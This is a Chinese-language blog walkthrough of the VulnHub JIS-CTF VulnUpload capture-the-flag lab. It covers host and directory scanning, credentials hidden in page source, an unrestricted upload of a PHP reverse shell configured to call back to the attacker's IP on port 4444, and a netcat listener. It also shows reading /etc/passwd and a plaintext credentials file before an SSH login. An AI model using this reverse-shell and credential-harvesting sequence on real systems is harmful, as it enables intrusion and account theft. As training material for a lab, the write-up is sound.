本文主要记录对 JIS-CTF-VulnUpload-CTF01 的渗透学习过程，测试的 VM 主机主要来源 www.vulnhub.com
博客集：面向 CTF 的 OSCP 破解系列
下载链接：JIS-CTF-VulnUpload-CTF01
OSCP - JIS-CTF-VulnUpload-CTF01 的破解
2019年4月13日19:19:03 【原创】
1. 官方描述
VM Name: JIS-CTF : VulnUpload
名字：JIS-CTF : VulnUpload
Difficulty: Beginner
难度：初学者
Description: There are five flags on this machine. Try to find them. It takes 1.5 hour on average to find all flags.
描述：这个机器有五个flag，尝试发现他们，发现所有 flag 平均耗时1.5小时。
Only working with VirtualBox
只能工作在 VirtualBox 中。
我测试在 vmware 中无法 DHCP 获取到 IP
2. Workthrough
首先探测目标主机的 IP，查看自己的IP为 192.168.216.3，因为是同一个网段，所以进行探测
root@kali:~# netdiscover -r 192.168.216.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 0a:00:27:00:00:18 1 60 Unknown vendor
192.168.216.2 08:00:27:eb:09:84 1 60 PCS Systemtechnik GmbH
192.168.216.4 08:00:27:3a:0a:0b 1 60 PCS Systemtechnik GmbH
发现目标IP为 192.168.216.4，下面进行端口探测
root@kali:~# nmap -p- 192.168.216.4
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-13 07:51 EDT
Nmap scan report for 192.168.216.4
Host is up (0.000077s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:3A:0A:0B (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 16.73 seconds
扫描完成后，我们发现目标计算机上有两个打开的端口，首先探测 80 端口。使用浏览器可以看到界面
使用 dirb 进行目录猜解
root@kali:~# dirb http://192.168.216.4
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Apr 13 07:55:41 2019
URL_BASE: http://192.168.216.4/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.216.4/ ----
==> DIRECTORY: http://192.168.216.4/admin_area/
==> DIRECTORY: http://192.168.216.4/assets/
==> DIRECTORY: http://192.168.216.4/css/
==> DIRECTORY: http://192.168.216.4/flag/
+ http://192.168.216.4/index.php (CODE:302|SIZE:1228)
==> DIRECTORY: http://192.168.216.4/js/
+ http://192.168.216.4/robots.txt (CODE:200|SIZE:160)
+ http://192.168.216.4/server-status (CODE:403|SIZE:301)
---- Entering directory: http://192.168.216.4/admin_area/ ----
+ http://192.168.216.4/admin_area/index.php (CODE:200|SIZE:224)
---- Entering directory: http://192.168.216.4/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.216.4/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.216.4/flag/ ----
+ http://192.168.216.4/flag/index.html (CODE:200|SIZE:109)
---- Entering directory: http://192.168.216.4/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
-----------------
END_TIME: Sat Apr 13 07:55:49 2019
DOWNLOADED: 13836 - FOUND: 5
根据提示，检测到五个结果。其中有一个名为 flag 的路径值得我们注意。使用浏览器访问则获取第一个 flag
The 1st flag is : {8734509128730458630012095}
查看页面源代码无有效信息。查看下面的目录 admin_area，页面中无明显信息，查看页面源代码
可以看到第二个 flag 以及账号密码
<!-- username : admin
password : 3v1l_H@ck3r
The 2nd flag is : {7412574125871236547895214}
-->
我们在获得了账号密码之后，尝试登录主页面，登录成功。返回页面是一个文件上传
首先上传几个文件做测试，发现 rar 和 doc 都可以上传，猜测是没有做过滤，下面上传一个 php 一句话木马（在kali 中的路径为 /usr/share/webshells/php/php-reverse-shell.php）
# 修改如下内容，设置反弹到 kali 的 IP 上
set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.216.3'; // CHANGE THIS
$port = 4444; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
在文件上传之后是不知道路径的是，所以我们需要找到路径。由于我们在 dirb 中知道还存在 robots.txt 文件，所以查看
User-agent: *
Disallow: /
Disallow: /backup
Disallow: /admin
Disallow: /admin_area
Disallow: /r00t
Disallow: /uploads
Disallow: /uploaded_files
Disallow: /flag
此时看到 uploaded_files 目录，猜测应该是存放结果的，但是页面无显示，查看页面源代码也无法查看。尝试使用抓包工具，仍然抓不到包，但是可以发现页面没有进行跳转，也就是说这个目录中没有 index.php 。所以尝试包含上传的原始文件名进行测试，发现页面可以访问，并且有报错信息，说明访问成功。
下面在 kali 监听一个 4444 端口
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
使用浏览器访问
http://192.168.216.4/uploaded_files/php-reverse-shell.php
反弹成功（如果反弹不成功，请检查上传之前 php 文件中的IP和端口是否设置正确）
root@kali:~# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.216.3] from (UNKNOWN) [192.168.216.4] 40384
Linux Jordaninfosec-CTF01 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
15:32:19 up 47 min, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$
可以看到我们显示是 www-data 权限，切换到网站根目录
$ cd /var/www/html
$ ls
admin_area
assets
check_login.php
css
flag
flag.txt
hint.txt
index.php
js
login.php
logout.php
robots.txt
uploaded_files
$
可以看到存在 flag.txt 但是无法访问，但是还存在一个可以访问的 hint.txt 文件
$ cat flag.txt
cat: flag.txt: Permission denied
$ cat hint.txt
try to find user technawi password to read the flag.txt file, you can find it in a hidden file ;)
The 3rd flag is : {7645110034526579012345670}
我们可以看一下都有哪些用户
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
messagebus:x:107:111::/var/run/dbus:/bin/false
uuidd:x:108:112::/run/uuidd:/bin/false
dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin
technawi:x:1000:1000:technawi,,,:/home/technawi:/bin/bash
mysql:x:111:118:MySQL Server,,,:/nonexistent:/bin/false
名为 technawi 用户引起了我的注意。我们可以可以看一下这个用户创建过的文件
$ find / -user technawi -type f 2>& 1 | grep -v "Permission" | grep -v "No such"
/etc/mysql/conf.d/credentials.txt
/var/www/html/flag.txt
/home/technawi/.bash_history
/home/technawi/.sudo_as_admin_successful
/home/technawi/.profile
/home/technawi/.bashrc
/home/technawi/.bash_logout
可以看到这个用户的两个文件 /etc/mysql/conf.d/credentials.txt 和 /var/www/html/flag.txt
$ cat /etc/mysql/conf.d/credentials.txt
The 4th flag is : {7845658974123568974185412}
username : technawi
password : 3vilH@ksor
cat /var/www/html/flag.txt
cat: /var/www/html/flag.txt: Permission denied
我们使用这个账号和密码登录系统
root@kali:~# ssh technawi@192.168.216.4
The authenticity of host '192.168.216.4 (192.168.216.4)' can't be established.
ECDSA key fingerprint is SHA256:ThPvIGqyDX2PSqt5JWHyy/J/Hy2hK5aVcpKTpkTKHQE.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.216.4' (ECDSA) to the list of known hosts.
technawi@192.168.216.4's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-72-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
0 packages can be updated.
0 updates are security updates.
Last login: Fri Apr 21 17:22:16 2017
technawi@Jordaninfosec-CTF01:~$
下面获取 flag
technawi@Jordaninfosec-CTF01:~$ cd /var/www/html/
technawi@Jordaninfosec-CTF01:/var/www/html$ cat flag.txt
The 5th flag is : {5473215946785213456975249}
Good job :)
You find 5 flags and got their points and finish the first scenario....
至此，五个 flag 获取完毕
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